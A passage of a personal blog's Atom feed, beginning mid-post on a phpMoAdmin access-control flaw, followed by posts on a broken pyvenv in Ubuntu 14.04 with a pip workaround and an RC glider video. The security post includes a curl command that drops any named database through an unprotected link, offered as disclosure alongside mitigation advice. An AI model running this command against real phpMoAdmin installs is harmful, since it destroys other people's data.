many direct links. Like dropping databases you know or guess there name:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&amp;amp;action=dropDb"&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Why bother writing a login system that only prevents you from looking
at your page?!?&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;Too fix this issues you need more than a bug fix. First everyone should
delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess)
and also only grant people access you would give a shell login.&lt;/p&gt;</content><category term="Blog"></category><category term="Security"></category></entry><entry><title>Broken pyvenv in Ubuntu</title><link href="https://sr4l.de/broken-pyvenv-in-ubuntu.html" rel="alternate"></link><published>2014-11-30T21:05:00+01:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars Kistner</name></author><id>tag:sr4l.de,2014-11-30:/broken-pyvenv-in-ubuntu.html</id><summary type="html">&lt;p&gt;Since version 3.3 Python has his own virtual environment build-in. This
is extremely useful especially if you like to install development or
other specific versions of python libraries without messing with
Ubuntu's repository python libs.&lt;/p&gt;
&lt;p&gt;Sadly it is broken in Ubuntu 14.04 and 14.10. If you try:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sr4l@LARS-Laptop:~$ pyvenv-3.4 myvenv
Error: Command &lt;span class="s1"&gt;&amp;#39;[&amp;#39;&lt;/span&gt;/home/sr4l/myvenv/bin/python3.4&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;-Im&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;ensurepip&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;--upgrade&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;--default-pip&lt;span class="s1"&gt;&amp;#39;]&amp;#39;&lt;/span&gt; returned non-zero &lt;span class="nb"&gt;exit&lt;/span&gt; status &lt;span class="m"&gt;1&lt;/span&gt;
sr4l@LARS-Laptop:~$ 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can only use it without pip and later install pip manually. (&lt;a href="https://bugs.launchpad.net/ubuntu/+source/python3.4/+bug/1290847"&gt;Bug report&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;With Ubuntu 14.04s Python 3.4 and the newest version of …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Since version 3.3 Python has his own virtual environment build-in. This
is extremely useful especially if you like to install development or
other specific versions of python libraries without messing with
Ubuntu's repository python libs.&lt;/p&gt;
&lt;p&gt;Sadly it is broken in Ubuntu 14.04 and 14.10. If you try:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sr4l@LARS-Laptop:~$ pyvenv-3.4 myvenv
Error: Command &lt;span class="s1"&gt;&amp;#39;[&amp;#39;&lt;/span&gt;/home/sr4l/myvenv/bin/python3.4&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;-Im&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;ensurepip&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;--upgrade&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;--default-pip&lt;span class="s1"&gt;&amp;#39;]&amp;#39;&lt;/span&gt; returned non-zero &lt;span class="nb"&gt;exit&lt;/span&gt; status &lt;span class="m"&gt;1&lt;/span&gt;
sr4l@LARS-Laptop:~$ 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You can only use it without pip and later install pip manually. (&lt;a href="https://bugs.launchpad.net/ubuntu/+source/python3.4/+bug/1290847"&gt;Bug report&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;With Ubuntu 14.04s Python 3.4 and the newest version of setuptools and
pip:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# create python venv in folder myvenv without pip&lt;/span&gt;
pyvenv-3.4 --without-pip myvenv
&lt;span class="c1"&gt;# enter the venv&lt;/span&gt;
&lt;span class="nb"&gt;source&lt;/span&gt; ./myvenv/bin/activate
&lt;span class="c1"&gt;# download, extract and install (in venv) setuptools&lt;/span&gt;
wget https://pypi.python.org/packages/source/s/setuptools/setuptools-7.0.tar.gz
tar -vzxf setuptools-7.0.tar.gz
&lt;span class="nb"&gt;cd&lt;/span&gt; setuptools-7.0
python setup.py install
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;span class="c1"&gt;# download, extract and install (in venv) pip&lt;/span&gt;
wget https://pypi.python.org/packages/source/p/pip/pip-1.5.6.tar.gz
tar -vzxf pip-1.5.6.tar.gz
&lt;span class="nb"&gt;cd&lt;/span&gt; pip-1.5.6
python setup.py install
&lt;span class="nb"&gt;cd&lt;/span&gt; ..
&lt;span class="c1"&gt;# leave the python venv&lt;/span&gt;
deactivate
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="Blog"></category><category term="Python"></category><category term="Ubuntu"></category></entry><entry><title>First flights with Joysway Sprite 750</title><link href="https://sr4l.de/first-flights-with-joysway-sprite-750.html" rel="alternate"></link><published>2014-11-16T10:53:00+01:00</published><updated>2020-10-13T11:20:05+02:00</updated><author><name>Lars Kistner</name></author><id>tag:sr4l.de,2014-11-16:/first-flights-with-joysway-sprite-750.html</id><content type="html">&lt;p&gt;Here is a short video of my first flights with a RC plane. The model
is a Joysway Sprite 750, with a wingspan of 750mm. It was recorded on 13.
September 2014 in Wehretal (Germany) and edited with Kdenlive.&lt;/p&gt;
&lt;iframe src="//player.vimeo.com/video/106279850" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href="http://vimeo.com/106279850"&gt;Joysway Sprite 750 RC Glider&lt;/a&gt; from &lt;a href="http://vimeo.com/user29759274"&gt;Lars Kistner&lt;/a&gt; on &lt;a href="https://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;</content><category term="Blog"></category><category term="FlyingRC"></category><category term="Video"></category></entry></feed>